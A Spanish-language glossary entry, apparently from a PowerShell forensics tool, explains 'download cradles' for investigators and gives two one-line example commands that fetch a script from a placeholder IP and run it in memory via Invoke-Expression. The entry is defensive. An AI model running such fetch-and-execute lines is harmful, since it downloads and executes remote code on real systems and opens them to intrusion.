Glosario
Download cradle
Un breve fragmento de PowerShell que descarga código desde una URL remota y lo ejecuta en memoria, sin escribir ningún archivo en el disco.
Un download cradle es un breve fragmento de PowerShell, normalmente de una sola línea, que obtiene un script remoto y lo ejecuta en memoria, de modo que la carga útil nunca existe como archivo en el disco. Combina dos primitivas: una descarga (un cliente web, una solicitud web o una utilidad de transferencia) y un paso de ejecución, como Invoke-Expression, que convierte la cadena descargada en código en ejecución.
Por qué importa en una investigación
Los cradles son la primera fase habitual de las intrusiones con PowerShell: las macros de phishing, los accesos directos maliciosos y los operadores que actúan directamente sobre el teclado los usan para traer la siguiente fase desde la infraestructura del atacante. Como no se escribe nada en el disco, la línea de comandos o el bloque de script registrado suele ser la única evidencia del origen de la carga útil. Por eso, la URL o la IP que contiene el cradle es un indicador inmediato a partir del cual pivotar en los registros del proxy, del DNS y del firewall.
Existen muchas variantes además de Net.WebClient: Invoke-WebRequest/iwr, Invoke-RestMethod/irm, Start-BitsTransfer, Net.Http.HttpClient, objetos COM como MSXML2.XMLHTTP y utilidades como bitsadmin o certutil -urlcache.
Ejemplo
La forma clásica, a menudo envuelta en un comando codificado con una ventana oculta:
IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.23/a.ps1')
Una variante más corta hace lo mismo con alias:
irm http://198.51.100.23/a.ps1 | iex
El parser notifica una descarga aislada con gravedad media, una primitiva de ejecución aislada como Invoke-Expression y ambas juntas como un download cradle de gravedad alta. Extrae la URL y la IP como cadenas inertes que puede copiar, y nunca accede a ellas.
Términos relacionados
- Invoke-Expression (IEX), la mitad de ejecución de la mayoría de los cradles
- Comando codificado, el envoltorio habitual de un cradle
- Omisión de la directiva de ejecución, a menudo en la misma línea de comandos
- AMSI, que los atacantes intentan desactivar antes de ejecutar la carga útil
Encuentre cradles en sus registros, historiales y transcripciones con el PowerShell Parser y consulte cómo decodificar comandos codificados y la ofuscación para conocer las capas que suelen ocultarlos.